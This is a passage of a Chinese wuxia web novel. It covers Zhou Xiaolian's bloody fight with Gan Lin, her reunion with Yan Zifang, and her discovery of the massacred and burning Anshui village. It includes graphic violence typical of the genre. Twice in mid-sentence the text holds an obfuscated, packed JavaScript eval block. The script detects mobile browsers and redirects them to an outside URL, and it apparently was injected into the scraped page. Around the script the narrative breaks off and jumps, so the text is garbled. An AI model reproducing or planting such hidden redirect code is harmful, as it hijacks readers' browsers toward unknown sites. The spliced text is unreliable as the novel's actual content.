“很惊讶吗,都愣住了,”甘霖凝视着她,明明室内的光极为幽微,几乎看不清摆设,小怜却还是从一片黑暗中分辨出了甘霖的眼睛,“恨我吗?” 了无生机的眼睛,黑不见底,让小怜想起深不可测的古井。年年都有人只是途径其侧,便失足溺毙于井中,万劫不复。 甘霖是这样的人吗,这个人是不是压根不是甘霖? 小怜下意识在脑海里为他开脱。 虽然甘霖和那些长辈的名望相比,还说不上是什么正道领袖。可他是天之骄子,是杀梅老者的亲传弟子,杀梅老者是嫉恶如仇、刚正不阿出了名的! 甘霖也,也是清风明月一般的…… 见到他的第一面,甘霖杀了很多人,血溅了他满身满脸。 甘霖看见她的那一剑,小怜起先一直以为是因为甘霖误将自己当做追兵,现在细想,说不定是想要杀人灭口的。 小怜行招出奇——也是个脑子不太清醒的人,稀里糊涂的一把药,把他们俩弄得不清不白。 对于甘霖,周小怜竟然越想越没有底气。若是真正的正道君子遇到这种事情,是不是碰也不会碰她? 当时情况混乱,周小怜已经记不太清是谁动手了。她也没遇上过什么真正意义上的好人,也不清楚到底好人碰见这种事情,又是什么反应。 她以为她已经足够了解甘霖,从别人口中,从那一夜荒唐中,从道听途说的美谈中。 她在外四处游历的时候,旁人都是这么说的。 谢三山和张昆玉虽然和他没什么暧昧关系,但也因公事有过接触。彼时小怜还不认识甘霖,只是出于好奇随口一问:“甘少侠?脾气好,平易近人。出招干脆利落,果断果决。四处缉凶惩恶,难得一见的清流啊。” “甘霖啊,大家都说他好,大概很好吧,”左仙也被她问过,舵主正伏在案上写书,若有似无的看了小怜一眼,“不过我觉得呢,有些时候还要看你自己怎么想的,少听别人说的话,多信自己的判断。” “所以你是怎么想的,小怜?” 小怜强迫自己心硬下去,手被甘霖死死扣着,小怜就盯着掉了一块灰的墙壁,冷声问道:“你知道这家母女遇到过什么事情吗?你这样帮褚见珏是为了什么,你……” “辛家被焦青帝算计了,焦青帝想要从辛慎嘴里撬出最后一个能威胁到她的匣子,没能成。辛家的匣子都是专门的工匠打的,辛慎从小就跟着老虞工琢磨,后来他帮皇帝做事,用一个匣子藏起了皇帝的秘密。” 甘霖还空着一只手,他没按着自己腰间的鹦鹉剑柄,而是颇为闲趣的拨弄起小怜的唇瓣。 “不过,你还不知道焦青帝是谁吧……要猜猜看吗?” 肉嘟嘟的嘴唇上有些干裂,小怜每天都在舔冒血珠的伤口,甘霖叹了口气。 “辛家破败后,虞雪海被她糊涂了的生父老虞工卖给这家屠户。辛慎带着匣子逃了,老虞工死了。世上能打开匣子的钥匙只剩下虞雪海和辛慎。至于你呢,小怜,你本来是来到这里,就会被焦青帝捉去换匣子的小鸟。” 甘霖看她的眼神有点变了,小怜清晰的感觉到那是一种……怜悯。 她在韦郡做过的事情,虞家母女的挣扎苟 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他们两个现在是仇人了,仇人把脸凑的那么近,只会方便她直接一嘴咬上甘霖的嘴唇! 小怜的手被扼住,身体被压住,可她头还能动。 嘴也可怕得很,还会咬人呢! 周小怜又一头狠狠撞上甘霖的额头,甘霖闷哼一声,对小怜的钳制也松了一些。乘此时机,小怜直接提膝,不管三七二十一的往人下三路攻去。 是个男人都回下意识避开那要害处,甘霖一侧身,手放开些许。小怜果断拔剑,铜凤冷光往甘霖咽喉要命处横去! 周小怜面无表情——她每次出招都是这副模样,原本总嬉皮笑脸的狐狸,正色时,更显得突兀严重:“真是奇怪,一个满口谎话的疯子,好像对我动了真情似的。” 甘霖刚躲开小怜的袭击,正闪身退至帷帐之外,只见铜凤剑刺出,悬于半空,直勾勾地指向他。 小怜的话让他身形凝滞。 没了甘霖,周小怜已从床榻上坐起。此时更该趁胜追击,可她还是有几句话在开打前想说,讥讽之语,不吐不快。 她挑挑眉,原先冷漠至极的神色已如化冻般被缓缓解开。周小怜怒极反笑,却笑得暧昧又挑衅,一双眼欲说还休地弯着。 掌中的铜凤剑不着调的一颠一颠,她此时姿态舒张悠然,全然没有过多的爱恨。 依稀间或真能看见狐尾如流水般从她身后垂下,长毛尾巴尖虚虚点在地上。 真难怪人人都说她是狐狸。 小怜一条腿踩在地上,另一条腿竖着支起,踩在床榻边。帷帐后影影绰绰的模样,活似岩壁上的菩萨坐莲。 少女笑道:“你就这么喜欢我这张脸,这么忘不掉那一夜的情迷意乱吗?真可怜啊,甘霖,洗雪山庄那夜的池水味道如何,好喝吗?” “你说我不知道燕紫芳的底细?好不凑巧,其实是你知道的更少一些。” 旧事重提,但语调中满是揶揄,明显已没了那点愧疚之意。 她只恨自己当时怎么没再用力点,一掌打死甘霖,或按着他直接淹死在湖里。 他和褚见珏两个人,若早知有今日,更早之前,她就应该趁他们神志不清的时候,一剑刺穿他们的心。 然后挖出来,晒在日光下看看,到底都是什么颜色的。 小怜另一只撑着身体的手掌已暗中蓄力,她看得清纱幔后甘霖的身影,一击,只需要一击。 周小怜不缓不急,她继续道:“他与我青梅竹马,两小无猜。你去也没去过,若非被我一击击落才见到的那片湖水,幼年时,他与我共话池旁。” 甘霖身影一动未动。他说小怜心狠,小怜便真的狠给他瞧瞧。她是会想着为熟知的人开脱,可她至少也有明辨是非黑白的脑子。 若是不在一岸,又何必好话说尽地或挽留,或为之寻个言不由衷的理由。 不过一夜,一颗心而已。 周小怜不会为情所困,也不会为情左右自己的。左仙说要她自己想明白,她其实一直都明白,她想要得是什么。 她要自由,要快意恩仇,要身边人都顺她心意而活。 脏的了东西,背叛她的东西,就该被她毫不留情地践踏在脚下,弃之如敝履。 小怜短短几句话,让甘霖活活被冻在床边。 话不多说,她持剑的那一只手不进反退,取而代之冲出的,是她白皙的手掌。 小怜真动了杀念,出招便狠厉阴毒,绝不留半分余地。 掌风无形间卷入断梁上匹练,寸寸应声而裂。 穿堂夜风狂吹乱舞,竟又似那一夜白杏春雨。 “燕紫芳,出刀!” 小怜咬牙切齿吼道。 “我要把这畜生的头砍下来!” 32. 人世间 三百两应声而动,两人头顶屋瓦乍破。 瓦砾飞溅,小怜立于甘霖身侧,难免同受此难,可她毫不在意这天降的狼藉。 这一掌势更胜饿虎扑食,周小怜毫无保留,刀光剑影翩翩跹跹,她与三百两围成夹击。 可就在这一掌一剑的正中心,甘霖八方不动,甚至就连鹦鹉剑也未动。 他为什么不出剑? 他为什么不躲开! 做了那么多事,甘霖他明明知道自己做了那么多错事……他难道就这样心甘情愿去死吗? 仅是这一念之差,小怜的心就像是被划开了一个口子一样。 与少年短暂相处的过往种种算不上多刻骨铭心,却还像飞瀑一样轰轰奔踏过。 她这一时,想起的竟然不是他们在歌玉山的那一面;也不是荒唐过后,甘霖睡熟无害的那张脸;更非甘霖在屋檐上喊她辛辛,杏花白雪的时候。 她想起的,偏偏是洗雪山庄猎月台下,两人对上的那一眼。 爱恨不过是眨眼一瞬。 小怜没有哭,她只是有千万种不甘心,声音都恨得打颤。 她恨甘霖,恨褚见珏,更恨自己! 周小怜在她织成的剑光下,几乎崩溃的对着甘霖咆哮: “骗子!蠢人!疯子!” “你知不知道褚见珏都对她们做了什么!” 不只是虞家母女,更是甘霖、她、燕紫芳、阮真棋……甚至周珊瑚周汀情,洗雪山庄一群人都被他耍得团团转! 可偏偏也就是这么一念之间,甘霖的剑动了。 小怜对他卑鄙,不留情面;他便也不再收手,顾念着与小怜的旧情。 刀掌与他相距不过分寸,甘霖终于有了动静。 他很可惜,可惜周小怜对他仍有挂念。甘霖同样对此感到一阵欢快,快乐于小怜就算窥见了冰山一角,已经足够残酷的事实,却还是无法将他逼上生死一线。 甘霖轻松地笑叹道:“小怜,你并不是输在天真。” 话还没有说完,鹦鹉声已经停下。 但此剑,并未剑指燕紫芳。 甘霖的指间,不知何时夹住了一片从天上落下的碎瓦。 燕紫芳本就在这群人中武功平平,与全盛时的小怜都相差甚远。他在武学一道上,更多造诣在熟知熟读,而非熟用每一招,每一式。 如今对上认真起来的甘霖,只见甘霖仅是作出抬手状,就直接震开了燕紫芳挥来的刀。 甘霖不疾不徐,以他的剑术,他对付面前的两人已绰绰有余。胜负不过是他一念之间,他现在更想与狐狸戏玩。 他缓缓道:“小怜,你说他很熟悉你。但是他太弱,护不住你。” 瓦片破碎,下一瞬,小怜看见了剑光,和漏进屋中的惨白月光。 她知道甘霖说的对。 周小怜冷笑道:“那又如何?甘霖,即便今日我与他一起死在这里,也是我心甘情愿!” ……甘霖一直维持着和煦面色,他志得意满,对小怜的感情更是有一种玩弄于鼓掌间的把我。 可当听到小怜这一句决绝的话,他好像终于再难维持住那份云淡风轻的样子。 小怜直勾勾看着他的眼睛,男人的神色竟肉眼可见的阴沉了几分。 “狐狸精最擅长权衡利弊,你怎么会在这里执着?死?我不会让你死,褚见珏也不会让你死!” 周小怜方才在床上攻他下三路,甘霖便以牙还牙,以眼还眼。 周小怜乘胜追击道:“我只是心中有他没你,何必废话连篇!” 只不过小怜腿脚功夫了得,下盘比常人基本功扎实不少,不会轻易让他得手。 可甘霖剑锋不失狠毒!既已撕破脸皮,甘霖的鹦鹉剑笔直刺向小怜脚踝。 原本小怜与甘霖两人距离就相差极短,甘霖这一剑又有股子同归于尽的冲劲。 小怜眼神随着鹦鹉剑走,下意识想要躲闪避开这一招,已然中了甘霖的算计。 她手掌不知不觉便歪了一些位置,甘霖此时收剑自如——原来他刚才根本没出半分力! 小怜回过神来,已错失良机。 这一掌拍在摇摇欲坠的土墙上,此地的房子本就建的马马虎虎,哪能受得住周二小姐急火攻心的一掌? 甘霖对小怜这一出投怀送抱悠然嗤笑道:“你没有杀过人,还杀不了我。” 木石将倾,吱呀吱呀的声音响彻屋内。 小怜的脸被甘霖一只手死死掐住,他笑的正明媚,另一只手捞着小怜腰肢,将她往自己怀里拖。 周小怜之前从没觉得甘霖长相能有多艳,可这会儿看着怒极反笑的甘霖,她在恍惚的一眼中居然觉得…… 甘霖和乌兆星长得有点像。 一样的毒。 还没摸清楚甘霖要做什么,他已经狠狠一口咬在她脖子上。 恨。 铺天盖地的恨。 “为什么除了我以外,你还招惹了那么多人?” 小怜吃痛,脖子应该是被甘霖咬出血了。她下意识回身一剑,铜凤竟顺畅无比,“噗哧”一声,直接捅穿甘霖腰腹。 事已至此,无论恨得多深,在这样的距离下,他好像还是没对她设防。 燕紫芳又是一刀,从甘霖身后劈来。 甘霖终于对燕紫芳出剑。 他仍死死咬着小怜脖颈,不知用了多大的力气,才能将小怜咬成这番血流如注的模样。 细细的血流甚至沿着甘霖下巴滴落,掉在他手背上。 他出剑头也不抬,便再次弹开了燕紫芳的刀。 燕紫芳其实本身说不上是多弱,若与寻常人相比,自然高出一截不止;若与初涉武学的人相比,也有近乎碾压的胜算。 可如今在他面前的,不是稀世天才,就是小怜这种自认妖孽的。 他与他们两人,在武学上的差距,目前尚且是云泥之别。 小怜生怕现在伏在她身上的这疯子活生生咬下她一块肉,她不太想死的那么难看。 小怜一身冷汗,铜凤剑身上挂满血色,她猜甘霖受了这一剑,再怎么样也是肉体凡胎,应该也撑不了多久。 干脆此时忍下痛楚,与他耗着对峙。小怜眼帘半垂,死攥着剑柄,小心翼翼地拧动转磨,试图偷偷疼死甘霖。 只是两人如今远看上去,就像是恋人间亲昵拥抱的姿态,不清不白到了极致。 甘霖和小怜就维持着这幅样子,谁也没有动。 碎石落在小怜发中,她抬头看见头顶房粱吱吱呀呀的正在一点点断裂,心知此地撑不了多久——反正燕紫芳也打不过甘霖。 她打起精神,向着甘霖身后再次举刀的男人忙道:“燕紫芳别管我,快出去!这里要塌了!” 燕紫芳身形一顿,两人四目相对。甘霖口中又猛地发力,白齿森森,小怜从前没注意过,他这人竟然有虎牙! 尖牙叼着那块脖子上细嫩的皮肉厮磨啮咬,完全是酷刑。 小怜被这发力的一咬痛到接连深深呼吸数次,最终还是缓缓闭上眼睛:“有这个人在,我应该没那么容易死,你快走吧。况且你也打不过他。” 燕紫芳无奈放下手,他们三人心如明镜,三双眼睛,各自映照着彼此的神态。 甘霖城府极深,想必不会轻易放手,也不会任由小怜和他就这样死在这里,当下虽然咬的难舍难分,但……若是真的想置小怜于死地,他们两人早已没什么方法。 他叹气道:“我知道。” 说罢,燕紫芳从一侧打开的窗台灵巧跃走,屋内再次只剩下甘霖和小怜。 两人沉默了一会儿,还是甘霖松了口。他抬起头,像一只茹毛饮血的野兽,直勾勾望着面前半阖眼的小怜。 他手上已经满是鲜血,左半边腹部被小怜用铜凤贯穿,也在汩汩往外冒血。甘霖喘了一口气,用那只满是鲜血的手,粗糙地揉嵌着剑的那一块地方,他身上湿漉漉,不比小怜好到哪去。 就像……错入了同一场雨一样。 甘霖眼睑半垂,他将小怜抱到一旁的书案上,让少女靠着窗框而坐,月光淋上她颤动的睫毛。 甘霖自下而上看着小怜的脸颊,口中狼狈喃喃道:“杏花雪,算共白头;这一次血交融,算……结孽缘。” 他每说一句话,都要喘一口气。小怜恍惚被他的吐息声吵醒,方才甘霖那含蓄的剖白,她全都没听清楚。 小怜眼睛被月光照得格外凉,兼之失血后肤色苍白,反倒如脂凝时玉华生辉,慈悲淡漠。 只是静静看着,便会让人因为这一尊玉女像正在呼吸,而感觉毛骨悚然。 可甘霖被她这样居高临下望着,反而心如擂鼓,悸动不已。 她拼着一口气,从甘霖腰间抽出铜凤。血失了堵,也不知到底小怜是刺中了甘霖哪里,血居然像决堤般狂涌,迅速染红了他半件衣裳。 甘霖闷哼一声,小怜反手握住剑,她失血也没好到哪去,手上几乎没什么力气。 周小怜一只手撑着自己不稳的身体,一点点向窗台后挪动,几乎半个身子都掉在外面。 甘霖抓住她踩住书案的脚踝,他的笑眼下只能是用气声发出的:“呵、呵呵,哈哈哈……辛辛,辛辛啊……你怎么就给自己取了这样的一个名字呢?” 甘霖虔诚的将脸贴在小怜的脚踝上,只是隔着一层裙摆,或许这样便能自欺欺人的告诉自己,他已克制些许吗? 小怜感受到甘霖肌肤的温度,温热的,她面无表情,有些被摸得犯恶心。 一晃神,燕紫芳不知何时靠了过来,他没有离开,而是等着小怜,或许她会从这个地方出来。看见自己在侧,总会安心许多。 小怜的脊背落在他怀中,燕紫芳让她落在半空的身体有所依靠。 周小怜定定看着像是魔怔的甘霖,喉头干涩,最终脑海中还是一片空白。乌兆星说她心软,她现在真的明白了。 就像甘霖刚才说的那样,她到底没有真的亲手杀过人,所以现在也杀不了甘霖。她心中为情犹豫。 她抬起手,剑锋决然对准他的眼睛,小怜道:“我现在不会浪费力气杀你。比起你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他若是死在这里,小怜再杀了褚见珏,一切的事情都会被算在她头上——不,不只是这样!只要她杀了褚见珏,无论甘霖是死是活,他的眼都已经没了一只! 他死,还有褚见珏不会放过自己;他活,周小怜也注定会背上取他一眼的恶名;而他死,褚见珏也死的话,韦郡还有他们其他的棋,还有烧香天。 周小怜抱剑蜷坐在地上,惶惶看向燕紫芳,燕紫芳就在她身畔。 月色好,风好,节气好。 好像就回到了小时候,他们坐在垂柳湖旁的日子。 小怜满身是血,燕紫芳看不下去,他衣服里居然藏了些草药和干净的布条。周小怜自觉地凑过去,把被啃得血肉模糊的脖子给他处理。 她怅然问道:“接下来怎么办?” 燕紫芳低头看了眼小怜的脖子,什么也没说。只是俯身,一点点舔去了上面的血渍。 小怜本就脑袋被吓得不清醒了,她顾不上那么多,真问燕紫芳:“你是燕子吗,为什么你的口水那么有用。” 燕紫芳帮她清理干净脖颈上的血,又温吞地帮她裹上布条。他认真的回答她:“我从在襁褓里的时候就是药人了。在我师伯制作我之初,身体里就用不传秘法养着,自然与常人不同。” “……”小怜沉默了一会儿,突然道:“我小时候也被打断骨头。你知道那种,根骨不好的孩子,想要练武,得打断骨头,在特殊的药汤里泡着。慢慢长好了,就能练武了。” 燕紫芳过了很久,才慢慢道:“你是一个很厉害的天才。” 小怜听不出他语气的惆怅,她没有过多的心思去理解别人了。 看着那片无声无息的废墟,她只是摇了摇头:“我是和你一样的妖女。刚刚,我杀了人,杀了一个江湖上很多人都说他好的人。” 周小怜疲倦地朝他笑了一下:“可是不够,还不够。” 那么多条命,若不在这里,这个时候解决他们,以后还会有源源不断的尸山血海。 周汀情、周珊瑚、虞雪芽、左仙……认识的人,不认识的人,所有人,她们都会被战火卷入其中。 天下大乱,谁能幸免? 所以她必须得杀。 以杀止杀,杀到天下再也没有一个想要挑起祸端的人才行。 就算来日被称作妖女,又有何妨? 小怜摇摇晃晃的站起身,没让燕紫芳搀扶。 她看向韦郡城内,灯火通明,生生不息。四海安泰,和睦团圆,是多么求来不易的情景啊! 周小怜眼神空洞,难以捉摸她到底眼底藏了些什么。燕紫芳想握住她的手腕,却只听她怔怔道: “杀一人,救世人,功德无量。纵使日后他人唾骂,遗臭万年,又有何妨?我不要公正,不要青史留名。” “我来人世一遭,要一切为我所想。我要我挂念的人都活着,我要逍遥快活,亦要该死的人去死,该活的人活着。” 小怜陡然笑了一声:“我从前最看不起那些满口仁义,挂心天下的人。一颗心爱那么多人,忙得过来吗?结果这才发现,原来我一直想要的,也不过就是这些东西。” 33. 飞蛾扑火 燕紫芳背着周小怜,稳稳走在往安水村去的方向。他十指血肉模糊,小怜背上的铜凤剑已归鞘,他们两人没在土屋的废墟里挖出甘霖,倒是挖出了铜凤剑鞘。 “算了。”小怜只是跪在旁边陪着燕紫芳,燕紫芳不愿意让她再亲手去做那些事情,便徒手挖了半夜,最后竟只找出剑鞘。 小怜握着铜凤剑剑鞘,这个夜晚发生的事情太出乎意料。夜风将她吹得遍体生寒,黯然道:“他是死是活,都改变不了什么。死了也好,活着也好,我已经剜了他一只眼睛……到底做出这些事情的也不全是他。” 甘霖也不过只是棋盘上数枚棋子中的一枚棋子。下棋的人还在,一枚棋子死了,棋局还要继续。 春草莎莎,周小怜的脸颊紧紧贴着燕紫芳的肩膀,她看着人后脑勺,在发呆。 从前怀芳与她没有这样的亲近过,再亲也不过是拉个小手,去垂柳湖旁看看鱼,插科打诨几句。 来韦郡时,燕紫芳也与她是分开骑马赶路,相逢不相识,难为他一路装过来。 他说他不是怀芳,只是见色起意,那又何必为她一次次上刀山下火海,生死不弃? 温柔乡的车马接走了虞家母女,风声呼呼吹起一地的黄花。 他们眼下走的这条路是往城里去的必经之路,小怜想去琼鱼坊再找施仙娥一次。 阮真棋之前愿意帮她一次,眼下谋反之事说不清道不明,他这个皇子肯定也知道些风声才会来……无论如何,掘地三尺,都得先把这人挖出来。 小怜正在想着,还想与燕紫芳说些什么,却突然嗅到一丝血气。 抬头看去,守在前路一身是血的人,不是别人,却是一个她和燕紫芳两人现在很难打过的人。 小怜侧首附在燕紫芳耳边,轻声道:“她若是要与我们为敌,便将我舍下逃了吧。” 燕紫芳颠颠背上的重量,背的更稳妥了一些:“别说这样的话。我答应过你,不会让你死在这里。” 月光虽幽微,但地上横七竖八的倒了一片的大刀大斧,铁器的冷色勾出那张俏丽的脸。 是孟灯铃。 琵琶娘子杀人用的不是剑或者刀,而是一把琵琶。来动手的人都被她砸开了瓢,那把琵琶也残缺了。 她脚下踩着一颗头,整个人都在发抖,但看上去并不疲倦,反而是相当兴奋的状态。古刹山的疯子们动起武大开大合,沾了血后比起人,更像一条疯狗。 孟灯铃的牙齿因为笑露出来了几颗,白的像珍珠。她开朗的朝小怜招呼道:“你们活着出来了?太好了,刚才听到那动静,我还以为要给你们收尸去。” 她说的是房子倒塌的动静。也是,这么大的动静,安水村里竟然没人找过来说什么——小怜心中有些不宁。 “……你们神光斋其他人……”小怜见状便知是孟灯铃她们应该是在路上遭伏,她这副模样,大概是留下来断后的。 也不知道小芽儿她们母女可安全进了城没有? 周小怜强打起精神,让燕紫芳将她放了下去。只是这会儿还有些疲倦,她身形晃了几下才站稳。 孟灯铃甩了甩手上的琵琶,她双目猩红,痴痴笑道:“估计城里头也没和苏星拂谈合拢,看出来我们帮了你们一把,这才派人来杀我们几个。” “若是此事再不了结,只怕老鼠要换地方打洞咯。方才这几个人还拦不住我,只是我不清楚这附近,那个什么安水村还乱了。追起来费了些时间。” 她打了个哈欠,看着像是犯困了:“你要我们护着的人早该安全了,那小子呢?他不死是不会轻易放过你们的,死了?” “安水村乱了?”小怜怔了一瞬,眉头紧蹙,“房子倒了,他被压在下面。我们没挖出他的尸首,不知是死是活。” 孟灯铃果断道:“那就是没死嘛。古刹山从来是要鞭尸至粉身碎骨才能离开的,你们这样只会给自己留祸根……” “安水村是怎么一回事?”小怜打断她的话,追问道。 “村上三十多户人,被杀得连只鸡都没留活口。” 孟灯铃甩开断琵琶,一脚把那颗头踢到燕紫芳脚下。头颅骨碌碌滚过来,小怜强忍着不舒服低头去看,才发现是个有些熟悉的面孔。 迦南香四兄弟里,有个腰间挂玉的。此人与小怜粗通过两招,满脸横肉,脖颈纤细,身子却又庞大敦实。小怜在客栈见到他那次,便觉得他像病树纤枝上挂了颗猪头,一具身体极为不协调。 还偏偏要在裤腰带上挂个玉装风雅。 此人对战中身形连同那柄大斧都走极为纠缠拖沓的路数,轻功较之小怜虽略有逊色,但也算如鱼得水,狡猾的很。 孟灯铃嫌弃道:“他是来找你的。只不过我刚刚杀红了眼,没注意到,一琵琶砸下去把他也杀了。好像嘴上要说什么紧要的事情,唉,我记不得了。” 小怜脑子里乱哄哄,一会儿是安水村没个活口了,一会儿是迦南香有一子莫名其妙的来找她。 迦南香是烧香天的人,琼鱼坊也是烧香天的,施仙娥应当也是烧香天里说得上话的人。小怜沉吟片刻道:“施仙娥手底下只有琼鱼坊吗?” “小施?那不是。琼鱼坊也就算个重要点的添头,小施从前很受姓焦的看重,是鸳鸯死了犯了错事,才被罚去看那个地方的。” 说到这里,孟灯铃猛一拍手,“呀,记起来了,这人之前是小施的手下。” 姓焦的,姓焦的叔叔。 焦青帝。 周小怜倏地明白了些什么,她看向孟灯铃,不定道:“烧香天的领头的姓焦?叫焦青帝?” “你才知道?”孟灯铃出乎意料的看着她,“来了这几天,那老女人的底细你都没想着打探过呀。我还当你是知道了,才没问苏星拂的。” ……且不管孟灯铃怎么会知道自己问了苏星拂什么,周小怜眼下补问道:“焦青帝是女人?” “是啊,她一家随她姓的。她那个相公也没什么用,倒是女儿焦秦剑本事大些。只不过前几年焦秦剑死了之后,她就疯了,”孟灯铃阴恻恻笑了几声, “焦秦剑长得和她像,她就扒了好多手底下姑娘的皮,都换上和自己像的皮。然后让那些姑娘们喊她作母亲。” 琼鱼坊中那么多张相似的面皮,喊着母亲的女孩,竟如此解了谜题。 主人是主人,那时琼鱼坊的主人是施仙娥;而母亲是母亲,是为她们换了脸的焦青帝。 可周小怜更觉得可怕了一些。 若是琼鱼坊中那些少女的脸,一切的源头都是焦青帝的话,另一种意义上而言,岂不是她与焦青帝长得很像? 天下凑巧的事情有许多,可长相相差不多的一张脸,其背后总容易藏着更多不为人知的故事。 孟灯铃笑了一声:“讲到哪里去了,哦,话说回来这个小施曾经的手下。” “我没记错的话,他兄弟四个从前都是逃难过来的难民,被小施随手救下的。后来为了报恩进烧香天,也成了小施的手下。” “小施被换脸的时候,他们可恨死烧香天了。” 周小怜面色铁青道:“你先前说施仙娥要玉石俱焚。我和你们不过是问了几个问题,烧香天都要赶尽杀绝;那真正与我合作的施仙娥,他们岂不是更不会放过?” “眼下这个人深更半夜跑过来报信……安水村无一活口,烧香天那群人行事愈发激烈,施仙娥是不是……出事了?” 小怜顾不上孟灯铃和燕紫芳,这条路下坡,不出百米就是安水村。 孟灯铃听着小怜的话,愣了一下:“呃?我不知道啊,今夜我又不在城中。” 周小怜没有继续等孟灯铃回忆,她转身便往安水村的方向跑去。 月过中天,在破晓之前,仍有一段夜色混沌的时间。 周小怜已听到了孟灯铃所说的安水村的结局,可眼见为实。 踉跄着一路狂奔,她与那些村民没个什么感情,可那些村民就有什么非死不可的理由吗? 没有,做这些事情,无非是杀鸡儆猴,给小怜这只猴扒开看看他们的心肺,看看人世之无情残酷。 周小怜眼睛发胀,风擦着她的眼睛拭干了咸腥的眼泪。吹进一点沙子,一点花香,一点欲说还休的血。 安水村静悄悄,静的没有一丝气息,一丝声音,也没有一个活口。 死气沉沉——甫一踏入,便能让人想到这四个字。 随着小怜闯进这座死村的晚风顺势刮倒了一只灯笼,小怜呆滞的站在原地,看着它坠地,纸面被里头的火苗燎着。 随即顷刻之间,火光四射。 杀人,毁尸,灭迹。 春日风盛易起火。小怜这才发现,原来这里目光所及之处,都多多少少被泼了油,门前堆着干草垛和柴火垛。 孟灯铃和燕紫芳两人追了上来,看着小怜孤单站在原地的身影,谁也不知要如何宽慰第一次遇见这种事情的她。 又或许她不需要安慰,这本就是一个身在江湖的人应该经历的事情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362308|183741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是相对其他自少年时罹患灭门之灾或灭顶打击的侠客来说,小怜见识的,牵涉其中的腥风血雨,来的太晚了。 古刹山都是疯子,鹭点烟汀也不遑多让。 燕紫芳和孟灯铃两人早已对此情此景习以为常,唯有洗雪山庄的周二小姐是第一次见。 火势冲天,烟霭漫漫熏熏。小怜一动不动,她两眼都被烧出烫意,可除了被烧着的声音以外,她没有听到任何其他的声音,也没见到一头牲口或一个人跑出来。 死是已经注定的结果,小怜脑袋里传来嗡的一声。神光斋骗了她一次,这一次,孟灯铃没有骗她。 安水村的人全都死了。 血色和火色混杂在一起,狂风压着大火扑向她面门,又在咫尺距离停住脚步。 小怜僵硬地挪动着身体,她想要往火里走,看看一切是否真的已经无可挽回。燕紫芳见状,终于不能再在一旁看着。 他上前,一只手拉住几乎看得着魔的小怜的肩膀:“别去。周小怜,你现在离开,一切还来得及。” “回洗雪山庄,找你娘和你姐姐求援。快马加鞭赶来左右不过四五天的时光,你——” “只是两夜,他们便杀了不相关的几十户人,”小怜转过头,两行泪痕都是摇曳的橙色。火也把她的心烧成一地灰烬。 她讥笑道:“燕紫芳,你扪心自问。只靠我们两个人,真的走得了吗?就算过了四五天再回来,一切会不会又是其它的样子?还来得及吗?” 皇子和与烧香天牵连颇广的她都现身此地。就像施仙娥所说的那样:错过这个机会,或许就再也没有机会了。 周小怜抬起眼,半哭半笑的看着燕紫芳,种种震撼之下,她虽然已经千疮百孔,可那颗心亦是遭受千锤百炼。 她想要做的事情,也越发坚定起来。故而如此,周小怜反倒是双手握住燕紫芳的手,她缓缓闭上眼睛,两人的手握作一团,小怜俯身,额头抵在自己的手指上。 她说:“帮我。” 她哑着说:“要走你随时都可以自己离开,可我做不到。如果你放不下我,就不要劝我放下这里的事情。燕紫芳,用你的刀帮我。” 我心匪石,不可转也。 燕紫芳收到的最后一封信,是周珊瑚写的。 她告诉了燕紫芳周小怜出逃后一年间的荒唐,周小怜死不悔改的执拗。她的行差踏错,她的乱点鸳鸯谱……信的最后,周珊瑚写:“可偏偏周小怜有一颗赤子之心。” 她一年以来或许做了很多离经叛道的事情,可周小怜本性是好的。周小怜怎么会不好呢?她没有经历过许多风风雨雨,只是有一点点无伤大雅的顽劣。 所以,帮帮她吧。 为了这一颗时时刻刻牵动着你那一潭死水的心。 第一次去洗雪山庄,是受人之邀。 第二次去洗雪山庄,是逃出师门,为了救一个濒死之际的人。 第三次去洗雪山庄,是冥顽不改,一定要去见那个被他救下的人。 燕紫芳沉默了许久,没有松手,也没有松口。小怜的身体在他掌中发抖,这颤抖并非源自她愤怒或恐惧,燕紫芳低头看了一眼被她握住的手。 ……因为根本不是她在抖。 是燕紫芳的手在抖。 四周传来被火烧到迸裂的劈啪声,两人对峙许久,久到孟灯铃有些不耐烦:“你们俩在这儿你侬我侬没完了?看见了吧,这村子里的人都死了,还被烧得一干二净——要我说你们刚才就应该也放把火,把那个小子,那块地方也烧了。” 燕紫芳低低地说:“只有我们两人在这里,我护不住你,我怕你会死在这里。” “我一开始和你来到这里的时候,我以为我至少可以……护住你,一个人。” “小怜,不要去在乎别人的命会变成怎么样,”他疲惫道,“把这些事情交给别人去烦恼,你可以逍遥快活,置身事外。你从前想自私一点,现在大可以做这样的人,不好吗?” 燕紫芳似乎对冥顽不化的小怜犯头疼:“你小时候是这么说的。” 周小怜失望地松开手。 “可我已经不需要任何人的保护,也不需要你的保护了,怀芳。” “对不起,小时候说过的话,不能作数的。” 她的眼神一点点在火中被融化,被重塑,再获新生。 周小怜的眼尾挤出一滴泪,一滴兵器的冷光……无双无匹,无人可挡。 “我选的路,我会自己走的。” 34. 凤回巢 一场大火还没有烧尽,在旁边的孟灯铃也清清楚楚地听见周小怜和燕紫芳两人之间生出些龃龉。 她觉得这两个人一个自大,一个呆傻,吵得很无聊。难道要等到他们俩吵完架才能走吗?孟灯铃踢石子自娱自乐了好一会儿,她不想再等了。 孟灯铃直接伸手去拉小怜的手腕,只说一句:“好了,跟我先走吧。”便轻而易举地把心神动荡的小怜撬走了。 周小怜挪动脚步,何愁燕紫芳不跟上?孟灯铃在前头哼起古刹山上哄小孩时才会唱的歌谣,周小怜在后头有一瞬间,觉得琵琶娘子哼的像锯木头……她心情竟奇异的被哄好一些。 回到温柔乡的一路上,燕紫芳与周小怜都再没有说过话。 